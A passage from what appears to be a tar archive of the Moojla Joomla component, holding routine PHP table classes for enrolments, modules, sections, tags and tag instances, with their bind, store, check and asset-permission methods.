* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.course_group_map.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/enrolment.php000064400000020522151165724410010541 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolment.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Enrolments Table class
*/
class MoojlaTableEnrolment extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_enrolment', 'id',
$db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.enrolment'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Enrolment table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New enrolment. A enrolment created and created_by field can be set by
the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('enrolment',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_ENROLMENT_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('enrolment',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.enrolment.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.enrolment.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/index.html000064400000000054151165724410010020
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>tables/module.php000064400000020453151165724410010026
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage module.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Modules Table class
*/
class MoojlaTableModule extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_module', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.module'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Module table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New module. A module created and created_by field can be set by the
user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('module',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_MODULE_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('module',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.module.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.module.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/section.php000064400000020470151165724410010204 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage section.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Sections Table class
*/
class MoojlaTableSection extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_section', 'id', $db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.section'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Section table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New section. A section created and created_by field can be set by the
user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('section',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_SECTION_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('section',
'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.section.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.section.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/tag.php000064400000020562151165724410007315 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Tags Table class
*/
class MoojlaTableTag extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_tag', 'id', $db);
// Adding Tag Options
JTableObserverTags::createObserver($this, array('typeAlias'
=> 'com_moojla.tag'));
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.tag'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Tag table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New tag. A tag created and created_by field can be set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('tag', 'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->setError(JText::_('COM_MOOJLA_TAG_ERROR_UNIQUE_ALIAS'));
return false;
}
}
if (isset($this->url))
{
// Convert IDN urls to punycode
$this->url = JStringPunycode::urlToPunycode($this->url);
}
if (isset($this->website))
{
// Convert IDN urls to punycode
$this->website = JStringPunycode::urlToPunycode($this->website);
}
return parent::store($updateNulls);
}
/**
* Overloaded check method to ensure data integrity.
*
* @return boolean True on success.
*/
public function check()
{
if (isset($this->alias))
{
// Generate a valid alias
$this->generateAlias();
$table = JTable::getInstance('tag', 'moojlaTable');
while ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
$this->alias = StringHelper::increment($this->alias,
'dash');
}
}
/*
* Clean up keywords -- eliminate extra spaces between phrases
* and cr (\r) and lf (\n) characters from string.
* Only process if not empty.
*/
if (!empty($this->metakey))
{
// Array of characters to remove.
$bad_characters = array("\n", "\r",
"\"", "<", ">");
// Remove bad characters.
$after_clean = StringHelper::str_ireplace($bad_characters, "",
$this->metakey);
// Create array using commas as delimiter.
$keys = explode(',', $after_clean);
$clean_keys = array();
foreach ($keys as $key)
{
// Ignore blank keywords.
if (trim($key))
{
$clean_keys[] = trim($key);
}
}
// Put array back together delimited by ", "
$this->metakey = implode(", ", $clean_keys);
}
// Clean up description -- eliminate quotes and <> brackets
if (!empty($this->metadesc))
{
// Only process if not empty
$bad_characters = array("\"", "<",
">");
$this->metadesc = StringHelper::str_ireplace($bad_characters,
"", $this->metadesc);
}
// If we don't have any access rules set at this point just use an
empty JAccessRules class
if (!$this->getRules())
{
$rules =
$this->getDefaultAssetValues('com_moojla.tag.'.$this->id);
$this->setRules($rules);
}
// Set ordering
if ($this->published < 0)
{
// Set ordering to 0 if state is archived or trashed
$this->ordering = 0;
}
return true;
}
/**
* Gets the default asset values for a component.
*
* @param $string $component The component asset name to search for
*
* @return JAccessRules The JAccessRules object for the asset
*/
protected function getDefaultAssetValues($component, $try = true)
{
// Need to find the asset id by the name of the component.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$db->execute();
if ($db->loadRowList())
{
// asset already set so use saved rules
$assetId = (int) $db->loadResult();
return JAccess::getAssetRules($assetId); // (TODO) instead of keeping
inherited Allowed it becomes Allowed.
}
// try again
elseif ($try)
{
$try = explode('.',$component);
$result = $this->getDefaultAssetValues($try[0], false);
if ($result instanceof JAccessRules)
{
if (isset($try[1]))
{
$_result = (string) $result;
$_result = json_decode($_result);
foreach ($_result as $name => &$rule)
{
$v = explode('.', $name);
if ($try[1] !== $v[0])
{
// remove since it is not part of this view
unset($_result->$name);
}
else
{
// clear the value since we inherit
$rule = array();
}
}
// check if there are any view values remaining
if (count( (array) $_result))
{
$_result = json_encode($_result);
$_result = array($_result);
// Instantiate and return the JAccessRules object for the asset
rules.
$rules = new JAccessRules;
$rules->mergeCollection($_result);
return $rules;
}
}
return $result;
}
}
return JAccess::getAssetRules(0);
}
/**
* Method to compute the default name of the asset.
* The default name is in the form 'table_name.id'
* where id is the value of the primary key of the table.
*
* @return string
* @since 2.5
*/
protected function _getAssetName()
{
$k = $this->_tbl_key;
return 'com_moojla.tag.'.(int) $this->$k;
}
/**
* Method to return the title to use for the asset table.
*
* @return string
* @since 2.5
*/
protected function _getAssetTitle()
{
if (isset($this->title))
{
return $this->title;
}
return '';
}
/**
* Get the parent asset id for the record
*
* @return int
* @since 2.5
*/
protected function _getAssetParentId(JTable $table = NULL, $id = NULL)
{
$asset = JTable::getInstance('Asset');
$asset->loadByName('com_moojla');
return $asset->id;
}
/**
* This view does not actually have an alias
*
* @return bool
*/
public function generateAlias()
{
return false;
}
}
tables/tag_instance.php000064400000020571151165724410011201
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instance.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Tag_instances Table class
*/
class MoojlaTableTag_instance extends JTable
{
/**
* Ensure the params and metadata in json encoded in the bind method
*
* @var array
* @since 3.3
*/
protected $_jsonEncode = array('params', 'metadata');
/**
* Constructor
*
* @param object Database connector object
*/
function __construct(&$db)
{
parent::__construct('#__moojla_tag_instance', 'id',
$db);
// Adding History Options
JTableObserverContenthistory::createObserver($this,
array('typeAlias' => 'com_moojla.tag_instance'));
}
public function bind($array, $ignore = '')
{
if (isset($array['params']) &&
is_array($array['params']))
{
$registry = new JRegistry;
$registry->loadArray($array['params']);
$array['params'] = (string) $registry;
}
if (isset($array['metadata']) &&
is_array($array['metadata']))
{
$registry = new JRegistry;
$registry->loadArray($array['metadata']);
$array['metadata'] = (string) $registry;
}
// Bind the rules.
if (isset($array['rules']) &&
is_array($array['rules']))
{
$rules = new JAccessRules($array['rules']);
$this->setRules($rules);
}
return parent::bind($array, $ignore);
}
/**
* Overload the store method for the Tag_instance table.
*
* @param boolean Toggle whether null values should be updated.
* @return boolean True on success, false on failure.
* @since 1.6
*/
public function store($updateNulls = false)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if ($this->id)
{
// Existing item
$this->modified = $date->toSql();
$this->modified_by = $user->get('id');
}
else
{
// New tag_instance. A tag_instance created and created_by field can be
set by the user,
// so we don't touch either of these if they are set.
if (!(int) $this->created)
{
$this->created = $date->toSql();
}
if (empty($this->created_by))
{
$this->created_by = $user->get('id');
}
}
if (isset($this->alias))
{
// Verify that the alias is unique
$table = JTable::getInstance('tag_instance',
'MoojlaTable');
if ($table->load(array('alias' => $this->alias))
&& ($table->id != $this->id || $this->id == 0))
{
